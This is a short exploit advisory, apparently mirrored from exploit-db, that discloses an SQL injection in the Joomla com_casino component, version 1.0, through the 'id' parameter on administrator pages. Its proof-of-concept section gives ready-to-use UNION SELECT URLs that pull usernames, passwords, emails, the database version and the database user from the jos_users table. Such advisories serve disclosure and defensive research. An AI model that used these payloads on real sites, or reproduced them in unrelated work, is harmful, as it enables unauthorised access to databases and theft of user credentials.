Joomla! Component com_casino – SQL Injection

  • 作者: B-HUNT3|2
    日期: 2010-01-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11237/
  • [~]>> ...[BEGIN ADVISORY]...
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> TITLE: Joomla (com_casino) SQL Injection Vulnerabilities 
    [~]>> LANGUAGE: PHP
    [~]>> DORK: N/A
    [~]>> RESEARCHER: B-HUNT3|2
    [~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
    [~]>> TESTED ON: LocalHost
    [~]>> PRE-REQUERIMENTS: Privileged user
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
    [~]>> AFFECTED VERSIONS: Confirmed in 1.0
    [~]>> RISK: Low/Medium
    [~]>> IMPACT: Execute Arbitrary SQL queries
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> PROOFS OF CONCEPT:
    
    [~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=category&id=[SQL]
    [~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=player&id=[SQL]
    
    [~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=category&id=-1%27+union+all+select+1,username,password,4,5+from+jos_users/*
    [~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_casino&task=player&id=-1%27+union+all+select+1,2,password,email,@@version,database(),user(),username+from+jos_users/*
    
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    
    [~]>> ...[END ADVISORY]...